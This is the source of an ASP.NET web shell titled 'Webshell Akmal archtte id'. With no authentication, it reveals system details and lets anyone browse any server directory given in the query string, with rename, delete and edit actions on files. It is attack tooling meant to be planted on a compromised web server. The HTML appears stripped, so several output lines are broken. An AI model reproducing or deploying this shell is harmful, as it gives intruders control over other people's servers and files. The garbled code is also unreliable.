Webshell Akmal archtte id
System: <%= Environment.OSVersion %>
Server: <%= Request.ServerVariables["SERVER_SOFTWARE"] %>
User: <%= Environment.UserName %>
<%
string currentDirectory = Request.QueryString["dir"] ?? Server.MapPath("~/");
string[] pathParts = currentDirectory.Split(new char[] { Path.DirectorySeparatorChar }, StringSplitOptions.RemoveEmptyEntries);
string pathBuilder = string.Empty;
Response.Write("Directory: ");
foreach (string part in pathParts)
{
pathBuilder += part + Path.DirectorySeparatorChar;
Response.Write(String.Format("
{1}{2}", Server.UrlEncode(pathBuilder), part, Path.DirectorySeparatorChar));
}
%>
Name |
Size |
Type |
Actions |
<%
string[] directories = Directory.GetDirectories(currentDirectory);
string[] files = Directory.GetFiles(currentDirectory);
foreach (string directory in directories)
{
DirectoryInfo dirInfo = new DirectoryInfo(directory);
Response.Write("");
Response.Write(String.Format("{1} | ", Server.UrlEncode(dirInfo.FullName), dirInfo.Name));
Response.Write("- | ");
Response.Write("Directory | ");
Response.Write(String.Format("Rename Delete | ", Server.UrlEncode(dirInfo.FullName)));
Response.Write("
");
}
foreach (string file in files)
{
FileInfo fileInfo = new FileInfo(file);
Response.Write("");
Response.Write(String.Format("{0} | ", fileInfo.Name));
Response.Write(String.Format("{0} bytes | ", fileInfo.Length));
Response.Write(String.Format("{0} | ", fileInfo.Extension));
Response.Write(String.Format("Edit Rename Delete | ", Server.UrlEncode(fileInfo.FullName)));
Response.Write("
");
}
%>
<%
if (Request.QueryString["action"] == "rename" && !string.IsNullOrEmpty(Request.QueryString["dir"] ?? Request.QueryString["file"]))
{
string renamePath = Request.QueryString["dir"] ?? Request.QueryString["file"];
%>
Rename: <%= Path.GetFileName(renamePath) %>
<%
}
%>